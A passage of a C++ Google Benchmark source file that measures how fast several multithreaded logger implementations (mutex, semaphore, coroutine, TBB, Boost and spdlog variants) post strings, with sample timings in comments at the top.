// dynamic<logger_with_coroutines>             1320 ns          537 ns
// dynamic<logger_with_condition_variable>      961 ns          742 ns
// dynamic<logger_with_semaphore>              1056 ns          791 ns
// dynamic<logger_with_atomic>                 1012 ns          723 ns
// dynamic<logger_with_tbb_allocator>           850 ns          596 ns

#include "logger.hpp"
#include <benchmark/benchmark.h>

#ifdef _WIN32
#include <io.h>
#else
#include <unistd.h>
#endif

template <class Logger>
std::shared_ptr<Logger> get_logger() {
  static std::weak_ptr<Logger> wp;
  auto sp = wp.lock();
  if (!sp) {
    static std::mutex mutex;
    const std::lock_guard lock{mutex};
    sp = wp.lock();
    if (!sp) {
      sp = std::make_shared<Logger>();
      wp = sp;
    }
  }
  return sp;
}

// Make sure we're posting a dynamically allocated string.
static_assert(std::string{}.capacity() < 20);

template <class T>
static void dynamic(benchmark::State& state) {
  auto logger = get_logger<T>();
  const std::string s{"12345678901234567890\n"};
  for (auto _ : state)
    logger->post(s);
}

template <class T>
static void literal(benchmark::State& state) {
  auto logger = get_logger<T>();
  for (auto _ : state)
    logger->post("12345678901234567890\n");
}

constexpr int threads = 16;
constexpr benchmark::IterationCount count = 100'000;

#ifdef logger
BENCHMARK(literal<logger>)->Threads(threads)->Iterations(count);
BENCHMARK(dynamic<logger>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_spdlog
BENCHMARK(dynamic<logger_with_spdlog>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_tbb_bounded_queue
BENCHMARK(dynamic<logger_with_tbb_bounded_queue>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_tbb_queue
BENCHMARK(dynamic<logger_with_tbb_queue>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_boost_lockfree_queue
BENCHMARK(dynamic<logger_with_boost_lockfree_queue>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_boost_asio
BENCHMARK(dynamic<logger_with_boost_asio>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_mutex
BENCHMARK(dynamic<logger_with_mutex>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_coroutines
BENCHMARK(dynamic<logger_with_coroutines>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_condition_variable
BENCHMARK(dynamic<logger_with_condition_variable>)->Threads(threads)->Iterations(count);
#endif

#ifdef logger_with_semaphore
BENCHMARK(dynam